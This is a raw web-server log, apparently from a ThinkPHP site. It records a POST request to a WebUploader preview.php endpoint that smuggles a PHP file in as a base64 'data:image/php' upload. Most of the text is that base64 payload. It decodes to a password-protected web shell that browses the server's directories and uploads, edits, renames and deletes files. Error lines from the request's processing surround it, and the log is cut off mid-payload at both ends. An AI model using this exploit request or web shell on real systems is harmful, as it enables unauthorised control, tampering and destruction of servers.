QuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'Widget' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:49+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002526s] [吞吐率:395.88req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2Nj